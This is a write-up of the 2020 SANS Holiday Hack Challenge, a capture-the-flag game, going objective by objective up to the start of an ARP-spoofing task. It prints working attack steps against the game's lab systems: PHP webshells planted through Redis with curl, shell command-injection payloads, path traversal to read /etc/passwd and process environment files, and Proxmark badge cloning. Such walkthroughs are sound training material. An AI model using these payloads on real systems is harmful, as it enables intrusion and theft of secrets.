2020 SANS Holiday Hack Challenge Writeup
The SANS Holiday Hack Challenge is an innovative and free annual virtual convention that invites participants to walk around a virtual convention center, watch talks on #infosec topics, and participate in excellent hands-on hacking challenges at a range of difficulties for all participants. A whimsical plot ties everything together, resulting in a unique and engaging experience. Participants are invited to submit a writeup at the end of the conference, with prizes available for some of the best/most technical writeups.
2020 SANS HHC Writeup/Walkthru
Author: t.fish (HHC Handle tfish)
Twitter: @tdotfish / Github: https://github.com/tdotfish / https://tdot.fish
Introduction
This was my third year participating in the HHC, but the past two years I just dabbled in it. I completed a few of the easier challenges but never made the time to truly focus on completing all of them. This year, I set aside all of my personal projects for the duration of the convention time frame and focused that time solely on the goal of completing all 12 (well, 11 but 11 is a 2-parter) objectives. I am pleased to say that I was able to accomplish that goal, with the help of the organizers’ decision to extend the end of the convention from January 4 to January 11. I had completed the first 10 objectives by January 2, but the remaining two days would not have given enough time to complete both parts of Objective 11 AND compile this write-up. The extra week gave me just enough time to get it all done.
Scripts/code that were written or modified can be found at https://github.com/tdotfish/2020HHC
I don’t expect to win any prizes for my writeup, but my goal was simply to complete the challenge and acquire as much knowledge as possible.
What follows is an adaptation of my writeup. Enjoy.
Objective 1: Uncover Santa’s Gift List
There is a photo of Santa’s Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays? Talk to Jingle Ringford at the bottom of the mountain for advice.
- There is a billboard visible in the upper-left part of the Staging Area. Click it to zoom in.
- Right-click and download it.
- There is a swirled list in the bottom center. We need to unswirl it. Jingle Ringford mentions a tool that can be used by I just used The GIM
- I selected the swirled area and experimented with the settings until I could read it.
- Josh Wright wants a
Proxmark
Skills Learned
- You can sometimes de-obfuscate obfuscated images.
Not bad… let’s hop on the trolley and go inside and explore.
Unescape tmux Terminal
Goal: Get the lost tmux session back
An easy puzzle to start things off - issue the command tmux attach
to get back to the tmux session.
Pepper Minstix rewards you with some clues about how to get the Santavator working.
Skills Learned
- Basic tmux commands. tmux comes up again in Objective 9: ARP Shenanigans
While the next objective is right there in the Castle Approach I like to explore before diving, so I start walking around the grounds, picking up items and talking to the NPCs.
Elf Code Terminal
In the Dining Room (Left of the entrance) I come across Ribb BonBowford and The Elf Code. This is a series of JavaScript programming puzzles that involve directing your character to various checkpoints and completing various tasks (programatically) along the way. There are some restrictions that require the code to be somewhat concise to add to the challenge.
I solve these using my programming knowledge. I have not done much in JavaScript so it’s good practice. I make good use of the ternary operator to shorten the solutions that require nested or cascading conditionals.
Upon completion of all of the puzzles including the bonus puzzles, Ribb offers a hint about bypassing the Santavator controls using the browser console.
Skills Learned
- Javascript syntax
Not wanting to get too far ahead of the plot, I go back to the Castle Approach to tackle the S3 Challenge
Kringle Kiosk Terminal
Goal: Escape the menu by launching /bin/bash
- Start by going through the menu choices. The 4th option mentions
(Please avoid special characters, they cause some weird errors)
… A clue? - Let’s try a basic command injection like
name;ls
. The output looks like this:_______ < tfish > ------- \ \ \_\_ _/_/ \ \__/ (oo)\_______ (__)\ )\/\ ||----w | || || welcome.sh
-
If you want you can use
;cat welcome.sh
to view the contents of welcome.shbash -c "/usr/games/cowsay -f /opt/reindeer.cow $name"
This line contains the bug - since there is nothing such as quotes to encapsulate
$name
, you can send bash control characters and they will be interpreted as control characters instead of literal.There is also a bit of an easter egg if you enter
plant
on the menu. - Use
;/bin/bash
to break out of the menu. - Talk to Shinny to get some more clues for Objective #2
Skills Learned
- Command Injection payloads. Command Injection comes up again in Objective 8: Broken Tag Generator
Let’s move a few steps to the right and check out:
Objective 2: Investigate S3 Bucket
When you unwrap the over-wrapped file, what text string is inside the package?
- Log into the terminal. The motd seems to suggest the missing package (file) might be in the
Wrapper3000
ls -lsa
to see what’s available. There is aTIPS
document and abucket_finder
folder.TIPS
mentions that you can usenano
orvim
to edit files and that everything needed to solve the challenge is provided in the terminal.cd bucket_finder
… there is a ruby script, some wordlists and a README with some usage instructions./bucket_finder.rb wordlist
and./bucket_finder.rb words
complete but do not real much of value.- Watch Josh Wright’s talk. He suggests customizing your wordlist with prefixes, suffixes, regions, product names; things that you think might lead you to something interesting.
- I put together this wordlist and used it with
./bucket_finder.rb
:kringlecastle wrapper santa wrapper3000 wrapper-3000 wrapper_3000 kringlecon2020 santaclaus 2020kringlecon northpole north-pole north_pole
- Success!
http://s3.amazonaws.com/wrapper3000 Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 ) <Public> http://s3.amazonaws.com/wrapper3000/package
- Run it again with the
--download
option and you will download a file calledpackage
. file package
says:package: ASCII text, with very long lines
cat package
reveals a long string that looks like it might be base64base64 -d package > package2
… did it work?file package2
says:package2: Zip archive data, at least v1.0 to extract
… looks promising. Let’s unzip it.unzip package2
… now we havepackage.txt.Z.xz.xxd.tar.bz2
bunzip2 package.txt.Z.xz.xxd.tar.bz2
gets us to a tar filetar -xvf package.txt.Z.xz.xxd.tar
gets us to an xxd file- xxd is a hexdump.
xxd -r package.txt.Z.xz.xxd package.txt.Z.xz
turns it back into a binary… now an xz file unxz package.txt.Z.xz
gets us to a Z fileuncompress package.txt.Z
gets us finally to package.txtcat package.txt
to get the flagNorth Pole: The Frostiest Place on Earth
- Enter the flag in the badge and the objective is marked complete.
Skills Learned
- Tailoring a wordlist based on known or inferred information about the target
- Determining how to access various file formats based on attributes, content or file extension. This comes up again very soon in Objective 3: Point-of-Sale Password Recovery
Let’s head up to the courtyard to tackle the next objective…
Objective 3: Point-of-Sale Password Recovery
Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal.
- First complete the linux primer terminal to get some clues about extracting code from electron apps
- Log into the POS terminal and download the santa-shop.exe
- Extract the code with
asar
-npm install -g asar
-asar extract santa-shop.exe santa-shop
- It didn’t work … why?
file santa-shop.exe
for more info:santa-shop.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
… it appears to be compressed- On Mac I use an app called
Keka
to extract various types of compressed files. After using it, I have an uninstaller, and a $PLUGINSDIR that contains app-64.7z and a bunch of dlls - Unzip app-64.7z (again using Keka on Mac)
- Now I have a bunch of new files and directories, most interesting is
app.asar
in resources/ … now we can extract that usingasar
from step 3 -asar extract app.asar app
- There is a README.md that says
Remember, if you need to change Santa's passwords, it's at the top of main.js!
That seems an important clue.
- Look inside main.js and we see
const SANTA_PASSWORD = 'santapass';
… the flag issantapass
! - Enter the flag in the badge and the objective is marked complete.
Skills Learned
- Identifying and extracting a compressed self-extracting archived
- Extracting Electron apps
- Identifying sensitive information stored in cleartext within source code
Before we tackle the next objective (Operate The Santavator), let’s explore the rest of the ground floor. On the right-hand side of the castle is the Great Room. The terminal for Objective 6 (Splunk Challenge) is in this room, but only Santa and select Elves can access it.
Through the upper-left exit of this room is the kitchen. There are two challenges in here. Let’s start with…
Redis Bug Hunt Terminal
Per the MOTD:
Can you somehow use the maintenance page to view the source code for the index page?
- Let’s start by viewing the maintenance page -
curl http://localhost/maintenance.php
It says you can use?cmd=<cmd>
- Holly Evergreen gives a link to this guide…
- Holly also mentions using
,
to separate words in commands - Looking at the RCE examples in the link, the ssh path seems like a good contender…but there is no
ssh-keygen
command - Let’s try a webshell instead. Using
ps efw
I can see that we are running apache2 so I can guess the webroot is /var/www/html and I can confirm that folder exists usingls /var/www
. I also know that we have .php since I have maintenance.php. - Here is a one-line webshell I found
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
- Following the steps in the link, I do the following:
curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,webshell.php
curl http://localhost/maintenance.php?cmd=set,test,%3C%3Fphp+if%28isset%28%24_REQUEST%5B%27cmd%27%5D%29%29%7B+echo+%5C%22%3Cpre%3E%5C%22%3B+%24cmd+%3D+%28%24_REQUEST%5B%27cmd%27%5D%29%3B+system%28%24cmd%29%3B+echo+%5C%22%3C%2Fpre%3E%5C%22%3B+%0Adie%3B+%7D%3F%3E
-> The webshell payload must be URL encoded
curl http://localhost/maintenance.php?cmd=save
… I get a 500 error.- Let’s try a simpler webshell -
<?php echo system($_GET["cmd"]); ?>
curl http://localhost/webshell3.php?cmd=id --output -
(--output -
sends curl output to stdout) comes back with:...The site is in maintenance modetest#uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data
so we know it’s working!
curl http://localhost/webshell3.php?cmd=cat+index.php --output -
solves it. Talk to Holly Evergreen for a bunch of hints on Objective 8 (Broken Tag Generator).
Skills Learned
- Interacting with an interface using
curl
- Uploading and using a webshell
Now let’s talk to Fitzy and tackle the phone challenge. Basically you have to mimic the sound of the modem handshake. It’s mostly a matter of trial and error. The key for me was that you have to initiate - dial and then immediately play the first sound baaDEEbrrr
and go from there.
Upon completion Fitzy mentions that Santa really trusts Shinny Upatree … is that a clue?
There’s nothing more I can do on the ground floor. It’s time to check out the Santavator
Objective 4: Operate The Santavator
- There is a pretty classic puzzle game puzzle here - I can filter a beam of light through some colored lamps to enable various floors. Right now I only have a green lamp which enables Floor 2, along with some other objects which can be used to split or bend the light beam. Presumably I can’t activate the other floors until I find the yellow and red lamps.
- Ribb said this thing is hackable using the browser devtools. Let’s try it.
- Inspecting the elevator panel is a string like:
<iframe title="challenge" src="https://elevator.kringlecastle.com?challenge=elevator3&id=8f8cc481-27ab-4211-a333-ef5dc64e2886&username=tfish&area=santavator3&location=1,2&tokens=nut2,nut,elevator-key,greenlight,candycane"></iframe>
That
tokens
attribute seems to correspond to the items I’m carrying. Can I modify it? I can easily guess the colors of the missing lamps…<iframe title="challenge" src="https://elevator.kringlecastle.com?challenge=elevator3&id=8f8cc481-27ab-4211-a333-ef5dc64e2886&username=tfish&area=santavator3&location=1,2&tokens=nut2,nut,elevator-key,greenlight,candycane,redlight,yellowlight"></iframe>
Now I have all three lamps, although I am still missing some objects that might be necessary to power everything. Also I am missing the floor 1.5 button. Is there another way?
- Expand the iframe and children until you find a bunch of
<button>
elements. Thedata-floor
value seems to indicate the actual “target floor” of a button. Can I override the button by editing this value? - Change
<button class="btn btn1 powered" data-floor="1">1</button>
to<button class="btn btn1 powered" data-floor="1.5">1</button>
- Press Button 1
- You come out on floor 1.5 in the Workshop
Skills Learned
- Evasion of client-side restrictions by manipulating client-side content
By this point I was credited with completing the objective but I am not certain exactly when I got the credit. This objective does not require you to input a flag.
In the workshop I tackle the regex terminal challenge. This is mostly a matter of googling and practicing. In some of the later puzzles it’s important to use ^
and $
(which match beginning and end of a line respectively) in order to constrain matches correctly. Upon completion, Minty gives some hints on solving Objective 6 (Splunk Challenge)
The door to the left is locked. I enter the door at the top of the screen leads to the Wrapping Room where I find a Proxmark3! Cool! The terminal for Objective 8 (Broken Tag Generator) is also in here but only Santa can use it.
Nothing else I can do on floor 1.5 for now, so I move back to floor 2.
From this point I simply used the hack above to go to the floor of my choice. I never bothered solving the light puzzle.
The second floor Talks Lobby is a mezzanine overlooking the Entry. There is a Name Tag Generator here that Chimney Scissorsticks says is very similar to the Broken Tag Generator in play for Objective 8. That might be useful to remember when we get to that point.
On the left side of the room there is the:
Speaker UNPrep Terminal
This is a bit of a reversing puzzle in three parts.
Part 1 - The Door - Get the password for ./door
- Use
strings door
. Maybe there’s a better way to do this but visually inspecting the output I seeBe sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
./door
and put in the passwordOp3nTheD00r
Talk to Bushy and he gives some clues about the Proxmark and a hint for
Part 2 - The Lights - Get the password for ./lights
- In the lab/ folder is an editable config file.
- When you run
./lights
it says and makes clear this is a clue:CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf
It also prints the
name
value from the config file in a welcome message - Experimenting with the config file … decrypting the hash seems a stretch. The clue says
SELECT FIELDS DECRYPTED
… plural. What if…. - I replace the
name
value with the encrypted password?Welcome back, Computer-TurnLightsOn
- Go back to the home directory and run
./lights
and useComputer-TurnLightsOn
as the password.
Talk to Bushy again for more Proxmark clues and a clue for
Part 3 - The Vending Machine - Get the password for the Vending Machine
- If you delete
vending-machines.json
and then execute./vending-machines
you get to put in a new password and a new json file will be created containing the encrypted password - If you use a bunch of
A
as the password you get something likeXiGRehmwXiGRehmwXiGRehmw
. Note the pattern - A lot of
B
gives youDqTpKv7fDqTpKv7fDqTpKv7fDqTp
… again note the pattern - It repeats after 8 characters. We also know the real password is 10 characters -
LVEdQPpBwr
- It’s sort of like a Vigenere cipher but not exactly. Characters seem to get rotated but a different rotation for each character position and then start over after 8 characters.
- Let’s brute force a few and see what sticks. Knowing that the pattern repeats after 8 characters, I can send a payload like
A......B......C.....
and see which one brings back anL
to match the first position. It’sC
- Repeat for more positions… the first the characters turn out to be
Can
- I’m going to take a guess that the password is on-theme and throw
Candycanes
at it. Good guess - that gets encrypted toLVEdQEpBw5
… I’m only two characters off now. - I’ll make another educated guess that maybe there’s some more capital letters and try
CandyCaneS
. That gets meLVEdQPpBwg
. I just need the final character! - I can brute force this one easily enough but I’ll make last educated guess and try numerals instead of letters first. Sure enough,
1
in this 10th (or 2nd) position gets encrypted tor
. The password isCandyCane1
- Go back to the home folder and run ./vending-machines and use
CandyCane1
as the password to complete this terminal challenge
Skills Learned
- Using
strings
to find interesting strings in binaries - Understanding how a system works by experimenting with it, then using that knowledge to exploit it
- Using known or inferred information to tailor attacks and payloads
Talk to Bushy one last time for a few more tips about the Proxmark
Let’s head on in to the Speaker UNPreparedness Room!
The missing elevator button for floor 1.5 is here, although I no longer have much use for it.
Also here is Tangle Coalbox and …
The Snowball Fight Game Terminal
This is a Battleship clone with four difficulty levels. Tangle offers several clues, including mentioning that the Player Name seems to affect the layout of the targets, and offering a URL that can be used to open more instances of the game. He also mentions Tom Liston’s talk on the Mersenne Twister. Some things jumped out at me, especially the fact that knowing the first 624 values lets you predict all values for a given seed. Also that you may need to figure out how 32-bit integers from the PRNG may be converted into other data types, but it’s usually quite simple.
Let’s begin …
- First I play through it on each difficulty. It’s super easy on easy. Impossible does what it says on the tin. The computer is definitely cheating and almost never misses. Nothing else obvious going on it. On Hard and Impossible you can’t set the Player Name. Presumably the Player Name has something to do with the the layout of the targets, and repeating a Player Name results in a repeated set of targets.
- Let’s run it through a proxy … when you start a game on Impossible mode, there is an html comment with a lot of rejected player names / seeds. A LOT. Like … hundreds …
- Let’s count them up. 624. Remember that one of the things that jumped out at me from Tom Liston’s talk was that if you know the first 624 values, you can predict all values!
- I’m going to theorize that what’s actually happening is this: When you start a game on impossible, it pulls the 625th element out of the PRNG and uses that as the Player Name. If I can predict the 625th element, I know what the Player Name will be.
- I come up with a plan of attack:
- Load an Impossible game in the main HHC view while proxied and get the 624 “rejected” Player Names. Some cleaning is necessary to get just the numeric Player Names. Store them in
seeds.txt
- Feed those seeds to the Mersenne Twister Predictor mentioned in Tom Liston’s talk.
cat seeds.txt | mt19937predict > predicted.txt
. When run in this way, it will go on predicting forever, so just ctrl+c it after a few seconds. Usehead -1 predicted.txt
to get the next value. For me it was3510780026
- In a separate browser load another instance of the game at https://snowball2.kringlecastle.com/
- Put it on Easy mode and set the predicted value from step 2 as the Player Name
- Now play the games side-by-side. Start on the Easy game…when you get a hit, use it on the Impossible game. Be careful with the last one because as soon as you score the last hit the screen goes away so make sure you remember where you clicked so that you can do it again on the Impossible side.
- Load an Impossible game in the main HHC view while proxied and get the 624 “rejected” Player Names. Some cleaning is necessary to get just the numeric Player Names. Store them in
- It works! I win the game on Impossible mode this way.
Skills Learned
- Using
mt19937predict
to predict sequences of pseudo-random number generator outputs. This is critical for solving Objective 11a! - Using a proxy to see what a webapp is doing behind the scenes
Tangle offers a whole slew of clues related to Objective 11 (Naughty/Nice List with Blockchain Investigation)
Floor 2 is cleared. It seems like the next thing I need to tackle is
Objective 5: Open HID Lock
Open the HID lock in the Workshop.
It seems clear that I need to clone a badge. The hints and Larry Pesce’s Talk detail the commands needed to read a badge (lf hid read
) and impersonate a badge (lf hid sim -r 2006......
)
- Let’s get some badges! Walk around the castle and stand near any elf and execute
lf hid read
and get their badge number. Here’s what I got:- Noel Boetie:
#db# TAG ID: 2006e22f08 (6020) - Format Len: 26 bit - FC: 113 - Card: 6020
- Ginger Breddie or Sparkle Redberry:
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022
- Shinny Upatree -
#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025
- Angel Candysalt -
#db# TAG ID: 2006e22f31 (6040) - Format Len: 26 bit - FC: 113 - Card: 6040
- Holly Evergreen
#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024
- Bow Ninecandle -
#db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023
- The Facility Code is 113 and the card numbers are all in the low 6000 range.
- Noel Boetie:
- Larry Pesce mentioned in the talk that, by dint of the fact that packs of cards are almost always sold in consecutive blocks and provisioned in order, the lowest numbers are often the most privileged. Let’s try 6000 and 6001.
- Back up on Floor 1.5 standing near the locked door …
lf hid sim -w H10301 --fc 113 --cn 6000
…lf hid sim -w H10301 --fc 113 --cn 6001
. Neither seems to work. There is potential brute force here but I don’t see a way to script in the virtual in-game Proxmark. Maybe I should use one of the card numbers I collected. - I try Noel’s first, but it doesn’t work. Which Elf would it be? The Objective mentions talking to Fitzy in the Kitchen. Remember what Fitzy said after I completed the modem puzzle? That Santa trusts Shinny Upatree!
lf hid sim -w H10301 --fc 113 --cn 6025
… The door unlocks, and the objective is marked as complete!
Skills Learned
- Proxmark commands for reading and impersonating HID cards
The remaining Objectives unlock at this point. I’m in a dark hallway with a strange pair of glowing eyes. I walk to the end of the hallway and …
Now I’m Santa Claus?!
Maybe I can take advantage of this. First I walk around the castle and talk to all of the elves. Some seem a little weirded out, saying things like “Didn’t I just see you?”
Holly Evergreen as some interesting things to share about Objective 8 (Broken Tag Generator):
- Look at the source code
- Info Exposure in error messages
- Content-Type header hinders more than helps
- Would output redirection help with blind command injections?
But first, the next objective on my list is…
Objective 6: Splunk Challenge
Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?
This consists of a talk on adversary emulation that ends with an odd reminder to “Stay Frosty”, followed by a series of items to be found by searching in the Kringlecon Splunk system.
- How many different techniques were used? Use
| tstats count where index=* by index
from the chat with Alice Bluebird. Looks like 13 if you ignore variants and sub techniques. - Names of two indexes that contain the results of emulating 1059.003 -
t1059.003-main t1059.003-win
easy enough! - Full name of registry key to determine MachineGuid? … Find
System Information Discovery
in the Atomic Red Team matrix, search for GUID - takes you to Atomic Test #8.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
- First OSTAP event? Search
index=attack OSTAP
= 2020-11-30T17:44:15Z - PID associated with first use of package authored by frgnca on github?
- 8 Repos at https://github.com/frgnca . No hits searching for frgnca in the Atomic Red Team repo. One frgnca repo is a powershell cmdlet package - AudioDeviceCmdlets.
- Search the Atomic Red Team repo - it shows up in T1123 but as https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet . This redirects to https://github.com/frgnca/AudioDeviceCmdlets so we know we found the right one.
- Search splunk for
index=T1123*
Too many results to be of any use. - The command mentioned in Atomic Red Team is
powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
so let’s searchindex=T1123* WindowsAudioDevice-Powershell-Cmdlet
… closer, but still too much noise. - The question specifies Event Code 1 …
index=T1123* WindowsAudioDevice-Powershell-Cmdlet EventCode=1
gets us two entries. There are multiple PID columns.2236
doesn’t work.3648
does.
- Final line of multi-line batch file simulating abusing Windows registry run keys?
- Search in Atomic-Red-Team for related keywords… T1547.001 mentions Reg. Run Keys and
batstartup.bat
but it’s only one line… - It’s the only thing that fits though… let’s search
index=T1547* .bat
… one has a lengthy encoded powershell command…. doesn’t seem correct though. - The clue mentions it’s used in multiple attacks… let’s see what .bat brings in the A-R-T repo … this
Discovery.bat
shows up a lot. The last instruction isquser
and that’s the answer.
- Search in Atomic-Red-Team for related keywords… T1547.001 mentions Reg. Run Keys and
- Last training question wants the Serial Number of the TLS cert assigned to the Domain Controller …
- They give a search
index=* sourcetype=bro*
but there’s too much noise. - They mention x509-related sourcetype so choose bro:x509:json under sourcetype. Closer but again too much noise.
certificate.subject has CN=win-dc-748.attackrange.local
probably pertains to the Domain Controller since it hasdc
in the name.- One certificate serial comes back -
55FCEEBB21270D9249E86F4B9DC7AA60
- They give a search
- Alice then tells us to decrypt a base64 encoded encrypted string. It’s encrypted using “my” (remember I’m Santa right now) favorite phrase and was used in the talk
- Cyberchef to the rescue … first base64 decode
- Now I just need the passphrase…Santa’s favorite phrase… HoHoHo?
- What was that odd signoff used in the talk?
Stay Frosty
? Sounds more like something Jack Frost would say but …. let’s try it. - It works! The string decrypts to
The Lollipop Guild
which is the flag for Objective 6
- Enter the flag in the badge and the objective is marked complete.
Skills Learned
- Searching through Splunk and external sources to trace and understand security event logs
- Using Cyberchef to decode and decrypt
It’s weird being Santa and creepy that you can’t see any other convention attendees while you’re Santa Claus, and I think I did what I needed to do as Santa, so I switch back to my own avatar by walking back through the painting in the Entry room.
What next?
Since I’ve already covered floors 1, 1.5 and 2 it feels “right” to go up to Floor 3 next, using the same hack I’ve been using since the beginning.
Doing so triggered completion of Objective 10 (Defeat Fingerprint Sensor). Oops!
Turns out this is Santa’s inner sanctum and I can’t do anything here as my own avatar. Since this is clearly the trailhead for Objective 11, I’ll come back later.
Objective 7 (Solve the Sleigh’s CAN-D-BUS Problem) is next on my to-do list, so I head on up to the Netwars
floor/roof.
The first thing I come across is:
Scapy Prepper Terminal
This terminal teaches you through a series of 14 tasks using the Scapy library which helps with crafting packets in python.
Solutions need to be passed in using task.submit(<solution>)
but for the purposes of this writeup I am just listing the solutions below.
- Send a packet at layer 3:
send
- Sniff packet(s):
sniff
- Send and receive 1 packet:
sr1
- Read pcap file(s):
rdpcap
- Summary of packets in UDP_PACKETS:
UDP_PACKETS.show()
- First packet in UDP_PACKETS:
UDP_PACKETS[0]
- Entire TCP Layer of second packet in TCP_PACKETS:
TCP_PACKETS[1][TCP]
- Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet:
UDP_PACKETS[0].src='127.0.0.1'
then submitUDP_PACKETS[0]
- Submit the password “task.submit(‘elf_password’)” of the user alabaster as found in the packet list TCP_PACKETS:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]
… the password isecho
- The ICMP_PACKETS variable contains a packet list of several ICMP echo-request and ICMP echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list:
ICMP_PACKETS[1][ICMP].chksum
… the checksum is19524
- Create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named “pkt”:
pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")
- Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified):
pkt = IP(dst='127.127.127.127')/UDP(dport=5000)
- Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of “elveslove.santa”:
pkt = IP(dst='127.2.3.4')/UDP(dport=53)/DNS(qd=DNSQR(qname="elveslove.santa"))
- The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection: Make the packet look like
<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=00:13:46:0b:22:ba psrc=192.168.0.1 hwdst=00:16:ce:6e:8b:24 pdst=192.168.0.114 |<Padding load='\xc0\xa8\x00r' |>>
Skills Learned
- Scapy basics. This is critical for Objective 9.
Done! Turns out I need to be Santa to try Objective 9 (ARP Shenanigans) so I’m not done with Santa yet.
But I still need to tackle Objective 7 which is the real reason I came up here so let’s move on to:
CAN-BUS Investigation Terminal
Given a CAN-BUS log, I have to find the a LOCK-UNLOCK-LOCK sequence and submit the decimal portion of the UNLOCK timestamp. A Relevant Talk explains that there are CAN ID prefixes for different vehicle systems - engine, door, etc.
- Let’s just look at the log with
cat candump.log
first and see what’s there. I see a lot of CAN ID244
, some 188 and a few19B
. The19B
are definitely the ones that occur the least. - If there are exactly three of
19B
we know the middle one is the answer.grep 19B# candump.log
:(1608926664.626448) vcan0 19B#000000000000 (1608926671.122520) vcan0 19B#00000F000000 (1608926674.092148) vcan0 19B#000000000000
- Looks good! Submit
122520
as the solution and it succeeds.
Skills Learned
- Understanding and filtering CAN-BUS logs, which will obviously be vital for solving Objective 7.
Talk to Wunorse Openslae for a clue about Objective 7. Unfortunately I also need to be Santa to access Objective 7 so after a quick trip down to the workshop for a costume change (the Teleport feature in the badge menu is helpful at a time like this), I’m back up here as Santa and stepping up to the sleigh for:
Objective 7: Solve the Sleigh’s CAN-D-BUS Problem
Jack Frost is somehow inserting malicious messages onto the sleigh’s CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh.
- As soon as you connect, there’s a lot of chatter in the logs. Filter all of the traffic appearing - CAN IDs
019
,188
,244
,080
as well as the specific instruction19B#0F2057
-
Now that everything is quiet, test all of the controls to map out the CAN IDs and instructions
SYSTEM ID INSTR NOTE Engine 02A 00FF00 START 0000FF STOP RPM 244 XXXXXX RPM Value Doors 19B 0 Lock 00000F000000 Unlock 0F2057 This is probably not supposed to be there Steering 019 FFFFFFCF Left 00000032 Right Brake 080 000004 Above 4, extra log messages with values like FFFFFA start spewing...probably bad.
- Exclude
ID 080 < 000000000000
to solve the brake issue. I guess these represent signed binary values so anything that would have the Most Significant Bit set to 1 is actually negative? - Exclude
ID 19B = 0F2057
to solve the door lock issue
Skills Learned
- Understanding how a system is supposed to work through observation so that anomalies can be identified.
I guess that was it! The objective was marked complete!
I suppose I could stay up here and do Objective 9 but I like to handle them in order so let’s go back downstairs to the Wrapping Room on Floor 1.5 and solve:
Objective 8: Broken Tag Generator
Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ?
Remember, Holly Evergreen gave us some clues:
- Look at the source code
- Info Exposure in error messages
- Content-Type header hinders more than helps
- Would output redirection help with blind command injections?
- Let’s fire it up and look around. It lets you generate “To/From” tags to put on presents which you can customize with text or graphics.
- Definitely going to want to run this through a proxy.
- The file upload function seems like the most likely way to attack this.
- Uploading an xml file (it expects jpg, png, etc) gets an error like:
Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201223-1-1m1h7td.xml
We now know that: this is ruby (.rb), we know the path to the file upload app or perhaps even the entire web app, and we know the temp location where uploads get stored
- A successful upload returns a filename
- Messing with the content-type header results in various errors
- The client-side javascript has a link to
/share?id=${res.id}
… what can I do with this? /share?-id=RackMultipart20201223-1-f2aovy.txt
gets me back what I tried to upload (base64 encoded)- Let’s try path traversal…I know I’m in /tmp so I only need to go up one level to get to / . Try
../etc/passwd
? It works! - Where else can I look? Holly mentioned looking at the source code … let’s grab
../app/lib/app.rb
! - There are some interesting things in here, for example Jack Frost commented all of the filename input validation. Also there is a special handler for zip files which could be useful.
- But most important is
if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
.system()
runs a shell command, and I can make#{filename}
be just about anything I want. This looks like a classic command injection. All I have to do is put together a command injection payload in my filename, something like;env>tfish.txt
, send it in, then use the/share
endpoint to grab my output! Sweet!Days Pass…
Well this is the first time I have been truly stumped in this year’s HHC. I try writing this payload hundreds of different ways over a few days and nothing fires.
Stumped, I finally head over to discord to see if I can get a clue A helpful elf tells me I’m on the right track with this command injection but that it’s REALLY finicky and must be structured just so. But he points out that there is a simpler way. If I can retrieve arbitrary files from throughout the file system, is there a place where environment variables are stored? Of course…./proc
which contains information about every running process, including a file called environ
which contains all of the environment variables! The only thing I need to know is my process ID. I suppose I could brute force it but there could be tens of thousands of PIDs and brute forcing is usually not the answer in CTFs. There must be a better way.
- I go take a look at
/proc
on one of my linux boxes. The solution quickly becomes clear:/proc/self
always points to the current PID/proc/thread-self
always points to the current thread within/proc/self
. - I try
/proc/thread-self/
first arbitrarily -/share?id=../proc/thread-self/environ
… base64 decode the result and there is the flag:GREETZ=JackFrostWasHere
- Enter the flag in the badge and the objective is marked complete.
I really want to understand the command injection attack, but at this point I don’t have enough time left - I still need to finish 3 more objectives (remember, I accidentally completed Objective 10 before going to the roof) AND write my report, and the objectives only get harder from here… I will hope to find out the answer from someone else’s writeup after the convention ends.
Skills Learned
- Finding useful information in error messages
- Finding hidden parts of a webapp in local JavaScript files
- Path Traversal
- Proc file system structure and content
- Static code analysis
- Command Injection
Speaking of the roof, it’s time to head back up there (as Santa) to have a go at:
Objective 9: ARP Shenanigans
Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?
The hints I’ve gotten are that:
- The target is sending an ARP request that perhaps we could spoof a response to.
- There are some scripts in /home/guest/scripts that might help
- The malware fetches a .deb package via HTTP - maybe we can sneak in a command
- The target is 10.6.6.35 - maybe we can sniff using
tcpdump -nni eth0
- The host does a DNS request after receiving an ARP response - maybe we can spoof that as well
- Let’s start with
tcpdump -nni eth0
. We can includesrc 10.6.6.35
to filter some unnecessary traffic.21:52:35.411829 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28
We see that 10.6.6.35 is repeatedly asking who-has 10.6.6.53
- We know our own IP and MAC and we know the target’s IP. To get its MAC we can
tcpdump -nni eth0 -e arp
